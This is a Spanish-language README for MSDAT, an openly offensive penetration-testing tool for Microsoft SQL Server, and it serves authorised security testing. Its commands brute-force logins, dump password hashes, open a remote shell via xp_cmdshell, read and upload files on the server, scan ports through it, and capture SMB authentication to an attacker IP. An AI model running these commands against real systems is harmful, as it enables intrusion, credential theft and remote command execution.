
MSDAT: Herramienta de ataque a bases de datos Microsoft SQL
| Quentin HARDY |
|---|
| [email protected] |
| [email protected] |
MSDAT (Microsoft SQL Database Attacking Tool) es una herramienta de pruebas de penetración de código abierto que prueba la seguridad de las bases de datos Microsoft SQL de forma remota.
Ejemplos de uso de MSDAT:
Probado en bases de datos Microsof SQL 2005, 2008, 2012, 2014, 2016 y 2019.
Gracias a MSDAT (Microsoft SQL Database Attacking Tool), puedes (lista no exhaustiva):
Se deben instalar algunas dependencias para ejecutar MSDAT.
En ubuntu:
sudo apt-get install freetds-dev
o descargar freetds desde http://www.freetds.org/
Instalar dependencias de Python:
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete
o
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
Agregue "use ntlmv2 = yes" en su archivo de configuración de freetds (ej.: /etc/freetds/freetds.conf o /usr/local/etc/freetds.conf).
Ejemplo:
[global]
# TDS protocol version
tds version = 8.0
use ntlmv2 = yes
python3 msdat.py -h 2 ⨯
usage: msdat.py [-h] [--version]
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
...
_ _ __ __ _ ___
| \_/ |/ _|| \ / \|_ _|
| \_/ |\_ \| o ) o || |
|_| |_||__/|__/|_n_||_|
------------------------------------------------------
_ _ __ __ _ ___
| \_/ |/ _| | \ / \ |_ _|
| \_/ |\_ \ | o ) o | | |
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool
-------------------------------------------------------
By Quentin Hardy ([email protected])
positional arguments:
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
Choose a main command
all to run all modules in order to know what it is possible to do
mssqlinfo to get information without authentication
passwordguesser to know valid credentials
passwordstealer to get hashed passowrds
xpcmdshell to get a shell
jobs to execute system commands
smbauthcapture to capture a SMB authentication
oleautomation to read/write file and execute system commands
bulkopen to read a file and scan ports
xpdirectory to list files/drives and to create directories
trustworthype to become sysadmin with the trustwothy database method
userlikepwd to try each MSSQL username stored in the DB like the corresponding pwd
search to search in column names
cleaner clean local traces
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
./msdat.py -h
./msdat.py all -h
Puede saber si un módulo específico se puede usar en un servidor MSSQL gracias a la opción --test-module. Esta opción está implementada en cada módulo de mdat.
El módulo all le permite ejecutar todos los módulos (depende de las opciones que haya proporcionado).
python msdat.py all -s $SERVER
Si desea:
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
En cada módulo, puede definir el conjunto de caracteres a usar con la opción --charset.
Para obtener información técnica sobre un servidor MSSQL remoto sin necesidad de autenticarse:
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
Este módulo usa el protocolo TDS y el SQL browser Server para obtener información.
Este módulo le permite buscar credenciales válidas:
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
La opción --force-retry permite probar múltiples contraseñas para cada usuario sin que se lo pregunte.
Puede especificar su propio archivo de cuentas con la opción --accounts-file:
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
Para volcar contraseñas hash:
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
Este módulo ha sido probado en SQL Server 2000, 2005, 2008 y 2014.
Para ejecutar comandos del sistema gracias a xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx):
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
Este comando anterior le da un shell interactivo en el servidor de bases de datos remoto.
Si xp_cmdshell no está habilitado, se puede usar la opción --enable-xpcmdshell en este módulo para activarlo:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell
La opción --enable-xpcmdshell habilita xp_cmdshell si no está habilitado (no habilitado por defecto).
La opción --disable-xpcmdshell deshabilita xp_cmdshell si está habilitado.
Gracias a este módulo, puede capturar una autenticación SMB:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE
Para capturar la autenticación SMB, se puede usar el módulo auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) de metasploit:
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit
El comando capture de este módulo intenta capturar una autenticación SMB gracias a los procedimientos xp_dirtree, xp_fileexist o xp-getfiledetails.
Si desea elegir el procedimiento de autenticación SMB para capturar la autenticación:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1
Puede cambiar el nombre del SHARE con la opción --share-name.
Este módulo se puede usar para leer/escribir archivos en el servidor de bases de datos.
El siguiente comando lee el archivo temp.txt almacenado en el servidor de bases de datos:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'
Para escribir una cadena en un archivo (temp.txt) de forma remota:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'
Este módulo se puede usar para descargar un archivo (C:\Users\Administrator\Desktop\temp.txt) almacenado en el servidor de bases de datos:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
También, puede usar este módulo para subir un archivo (temp.txt) al objetivo:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt
El módulo bulkopen se puede usar:
Para leer un archivo almacenado en el objetivo, se puede usar el siguiente comando:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"
La opción --method se puede usar para especificar el método a usar:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset
Para descargar un archivo (C:\Users\Administrator\Desktop\temp.txt):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
Este módulo se puede usar para escanear puertos (1433 y 1434 de 127.0.0.1) a través del servidor de bases de datos:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
Puede escanear un rango de puertos:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438
Este módulo se puede usar para ejecutar solicitudes SQL (ej.: select @@ServerName) en un servidor de bases de datos remoto (ej.: $SERVER2) a través de la base de datos ($SERVER):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'
El módulo xpdirectory se puede usar:
Para listar archivos en un directorio específico:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'
Para listar directorios en un directorio específico:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'
Para listar unidades:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media
Para comprobar si existe un archivo:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'
Para crear un directorio:
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'
El módulo search se puede usar para buscar un patrón en los nombres de columnas de tablas y vistas. Útil para buscar el patrón %password% en nombres de columnas, por ejemplo.
Para obtener nombres de columnas que contienen patrones de contraseña (ej.: passwd, password, motdepasse, clave):
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
Si desea ver nombres de columnas que no contienen datos, debe usar la opción --show-empty-columns.
Para buscar un patrón específico en los nombres de columnas de vistas y tablas:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
Si desea apoyar mi trabajo haciendo una donación, lo agradeceré mucho: